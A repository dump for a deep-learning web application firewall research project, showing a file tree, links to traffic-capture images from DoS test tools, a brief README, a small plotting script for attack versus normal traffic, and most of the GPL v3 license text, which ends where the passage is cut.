├── Captures
├── d df.jpg
├── g ttl.jpg
├── TTL 2012.png
├── gen rate.jpg
├── flow rate wsk.jpg
├── g frame length.jpg
├── Header length 2012.png
├── IP protocol 2012.jpg
├── gen dont fragment.jpg
├── gen other features.jpg
├── heade leght 2012.jpg
├── packet length generated.jpg
└── packet flow on normal browsing .jpg
├── SnapshotsExperiment
├── traffic from hulk2.jpg
├── DVWA web application.jpg
├── DoS traffic from HULK1.jpg
├── sample burpsuite log.jpg
├── wireshark sample log.jpg
├── LOIC traffic capture in Wireshark.jpg
├── Traffic from Single LOIC instance.jpg
├── flow rate from single LOIC instance.jpg
└── HTTP traffic capture in burp suite proxy.jpg
├── README.md
├── graph generation.py
├── LICENSE
├── sql injection payloads.txt
└── LSTM-ModelDDoS.ipynb
/Captures/d df.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/baburd/WAF/HEAD/Captures/d df.jpg
--------------------------------------------------------------------------------
/Captures/g ttl.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/baburd/WAF/HEAD/Captures/g ttl.jpg
--------------------------------------------------------------------------------
/Captures/TTL 2012.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/baburd/WAF/HEAD/Captures/TTL 2012.png
--------------------------------------------------------------------------------
/Captures/gen rate.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/baburd/WAF/HEAD/Captures/gen rate.jpg
--------------------------------------------------------------------------------
/Captures/flow rate wsk.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/baburd/WAF/HEAD/Captures/flow rate wsk.jpg
--------------------------------------------------------------------------------
/Captures/g frame length.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/baburd/WAF/HEAD/Captures/g frame length.jpg
--------------------------------------------------------------------------------
/Captures/Header length 2012.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/baburd/WAF/HEAD/Captures/Header length 2012.png
--------------------------------------------------------------------------------
/Captures/IP protocol 2012.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/baburd/WAF/HEAD/Captures/IP protocol 2012.jpg
--------------------------------------------------------------------------------
/Captures/gen dont fragment.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/baburd/WAF/HEAD/Captures/gen dont fragment.jpg
--------------------------------------------------------------------------------
/Captures/gen other features.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/baburd/WAF/HEAD/Captures/gen other features.jpg
--------------------------------------------------------------------------------
/Captures/heade leght 2012.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/baburd/WAF/HEAD/Captures/heade leght 2012.jpg
--------------------------------------------------------------------------------
/Captures/packet length generated.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/baburd/WAF/HEAD/Captures/packet length generated.jpg
--------------------------------------------------------------------------------
/SnapshotsExperiment/traffic from hulk2.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/baburd/WAF/HEAD/SnapshotsExperiment/traffic from hulk2.jpg
--------------------------------------------------------------------------------
/Captures/packet flow on normal browsing .jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/baburd/WAF/HEAD/Captures/packet flow on normal browsing .jpg
--------------------------------------------------------------------------------
/SnapshotsExperiment/DVWA web application.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/baburd/WAF/HEAD/SnapshotsExperiment/DVWA web application.jpg
--------------------------------------------------------------------------------
/SnapshotsExperiment/DoS traffic from HULK1.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/baburd/WAF/HEAD/SnapshotsExperiment/DoS traffic from HULK1.jpg
--------------------------------------------------------------------------------
/SnapshotsExperiment/sample burpsuite log.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/baburd/WAF/HEAD/SnapshotsExperiment/sample burpsuite log.jpg
--------------------------------------------------------------------------------
/SnapshotsExperiment/wireshark sample log.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/baburd/WAF/HEAD/SnapshotsExperiment/wireshark sample log.jpg
--------------------------------------------------------------------------------
/SnapshotsExperiment/LOIC traffic capture in Wireshark.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/baburd/WAF/HEAD/SnapshotsExperiment/LOIC traffic capture in Wireshark.jpg
--------------------------------------------------------------------------------
/SnapshotsExperiment/Traffic from Single LOIC instance.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/baburd/WAF/HEAD/SnapshotsExperiment/Traffic from Single LOIC instance.jpg
--------------------------------------------------------------------------------
/SnapshotsExperiment/flow rate from single LOIC instance.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/baburd/WAF/HEAD/SnapshotsExperiment/flow rate from single LOIC instance.jpg
--------------------------------------------------------------------------------
/SnapshotsExperiment/HTTP traffic capture in burp suite proxy.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/baburd/WAF/HEAD/SnapshotsExperiment/HTTP traffic capture in burp suite proxy.jpg
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # WAF
2 | Web Applicaiton Firewall Implementation using Deep Learning
3 | All experiments are carried our by Bibek Adhikari and Dr. Babu R. Dawadi under the reserach grants project: CRG-078/79-Engg-01
4 |
--------------------------------------------------------------------------------
/graph generation.py:
--------------------------------------------------------------------------------
1 | import numpy as np
2 | import matplotlib.pyplot as plt
3 | import pandas as pd
4 | df = pd.read_csv('C://Thesis/data thesis/combine data hulk generated.csv')
5 |
6 | y=df['Time delta from previous captured frame']
7 | x=df['Dataset']
8 | x1=x[:50000]
9 | y1=y[:50000]
10 | x2=x[50000:]
11 | y2=y[50000:]
12 | plt.bar(x1,y1, color='red')
13 | plt.bar(x2,y2, color='blue')
14 | plt.legend(labels=['Attaack', 'Normal'])
15 | plt.ylim(0,0.01)
16 | plt.title('Generated dataset')
17 | plt.ylabel('Time delta from previos capture')
18 | plt.xlabel('Dataset')
19 | plt.show()
20 |
21 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
